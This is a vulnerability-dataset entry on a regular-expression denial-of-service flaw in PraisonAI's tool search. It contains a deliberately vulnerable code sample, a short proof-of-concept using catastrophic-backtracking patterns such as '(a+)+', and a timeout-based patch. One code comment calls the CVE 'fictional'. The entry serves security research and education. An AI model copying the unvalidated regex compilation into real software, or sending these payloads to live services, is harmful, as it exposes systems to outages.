CVE-2026-34939
Regular Expression Denial of Service (ReDoS) in PraisonAI search tools.
- CVSS 7.5
- CWE-1333
- Resource Management
- Remote
PraisonAI is a multi-agent teams system. Prior to version 4.5.90, MCPToolIndex.search_tools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage. This issue has been patched in version 4.5.90.
- CWE
- CWE-1333
- CVSS base score
- 7.5
- Published
- 2026-04-03
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- PraisonAI
- Fixed by upgrading
- Yes
Solution
Upgrade PraisonAI to version 4.5.90 or later.
Vulnerable code sample
import re
import time
# This code represents a vulnerable version of a class as described
# in the fictional CVE-2026-34939.
# The vulnerability lies in the search_tools method, which compiles a
# user-supplied string as a regex without validation, making it
# susceptible to a Regular Expression Denial of Service (ReDoS) attack.
class MCPToolIndex:
"""
A vulnerable tool index that searches for tools using raw regex queries.
This class simulates the state of the software before the vulnerability was patched.
"""
def __init__(self):
# A list of tools. The first one is a perfect target for the ReDoS payload
# because it contains a long sequence of repeated characters.
self.tools = [
"tool_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa_end",
"another_tool_with_a_different_name",
"web_search_tool"
]
def search_tools(self, query: str):
"""
Searches for tools using a caller-supplied regex query.
This method is vulnerable because it directly compiles the query with no
sanitization, validation, or timeout.
"""
print(f"Searching for tools matching pattern: {query}")
matching_tools = []
# VULNERABILITY: Direct compilation and use of a caller-supplied regex.
pattern = re.compile(query)
for tool in self.tools:
# The catastrophic backtracking occurs here when the evil regex is
# processed against the first tool name. The thread will block.
if pattern.search(tool):
matching_tools.append(tool)
return matching_tools
# --- Proof of Concept Exploit ---
# This section demonstrates how a malicious actor could exploit the vulnerability
# to cause a denial of service.
if __name__ == "__main__":
tool_index = MCPToolIndex()
# A malicious regex pattern designed to cause catastrophic backtracking.
# The `(a+)+` part, when evaluated against a long string of 'a's,
# forces the regex engine into an exponential number of permutations.
# The `Z` at the end ensures the match ultimately fails, forcing the engine
# to try every single possibility before giving up.
evil_query = "tool_(a+)+Z"
print("--- Demonstrating ReDoS Vulnerability (Simulated CVE-2026-34939) ---")
print(f"[{time.ctime()}] Initializing attack by calling the vulnerable function.")
print("The program will now hang as the regex engine is overwhelmed...")
print("Execution will be blocked for a significant amount of time.")
# This function call is the trigger for the exploit.
# It will block the Python thread, simulating a service outage.
results = tool_index.search_tools(evil_query)
# This line will only be reached after the long delay caused by the ReDoS.
print(f"[{time.ctime()}] Function call finally returned.")
print(f"Search results: {results}")
print("If a significant time passed between the 'Initializing' and 'returned' messages, the DoS attack was successful.")Patched code sample
import re
import signal
class RegexTimeoutError(Exception):
"""Custom exception to indicate a regex operation timed out."""
pass
def _handle_timeout(signum, frame):
"""Raises a RegexTimeoutError when the signal is received."""
raise RegexTimeoutError("Regular expression search timed out due to excessive complexity.")
class MCPToolIndex:
"""
A mock class representing the PraisonAI tool index. The search_tools method
is patched to prevent Regular Expression Denial of Service (ReDoS) attacks.
"""
def __init__(self):
# A sample list of tools to search through.
self.tools = [
"data_analyzer_tool_v1",
"code_generator_v3",
"file_system_manager_alpha",
"api_integration_helper",
"auth_service_with_many_aaaaaaaaaaaaaaaaaaaaaaaaab_features",
]
def search_tools(self, query: str, timeout: int = 2):
"""
Searches for tools using a caller-supplied regular expression with a timeout.
This patched version mitigates CVE-2026-34939 by implementing a timeout
for the regular expression matching process. This prevents catastrophic
backtracking from blocking the Python thread and causing a service outage.
Args:
query: The regular expression string from the user.
timeout: The maximum number of seconds the search is allowed to run.
Returns:
A list of matching tool names, or an empty list if an error or timeout occurs.
"""
# Set the signal handler for the alarm signal (SIGALRM).
# This is the core of the fix: establishing a timeout mechanism.
try:
signal.signal(signal.SIGALRM, _handle_timeout)
signal.alarm(timeout) # Set the alarm to fire after `timeout` seconds.
except ValueError:
# signal.signal may fail if not in the main thread.
# In a real-world web server, a different async-compatible timeout
# or a third-party regex library with built-in timeouts (like `regex`)
# would be a more robust solution. This implementation demonstrates
# the principle for a single-threaded blocking context.
print("Warning: Could not set a timeout. Running without protection.")
pass
found_tools = []
try:
# It's good practice to compile the regex first. This operation can
# also be complex, so it's included within the timeout block.
pattern = re.compile(query)
for tool in self.tools:
# The search operation is where catastrophic backtracking occurs.
# With the alarm set, this will be interrupted if it takes too long.
if pattern.search(tool):
found_tools.append(tool)
except (re.error, RegexTimeoutError) as e:
# If the regex is invalid (re.error) or times out (RegexTimeoutError),
# we fail safely by logging the error and returning no results.
# This prevents the service from crashing or hanging.
print(f"Aborted search for query '{query}'. Reason: {e}")
return []
finally:
# Crucially, disable the alarm in the `finally` block.
# This ensures the alarm is cancelled whether the search succeeds,
# fails, or times out, preventing it from firing later.
try:
signal.alarm(0)
except ValueError:
pass # Fails if signal was not set; can be ignored.
return found_toolsPayload
"^(a+)+$"
Cite this entry
@misc{vaitp:cve202634939,
title = {{Regular Expression Denial of Service (ReDoS) in PraisonAI search tools.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-34939},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-34939/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
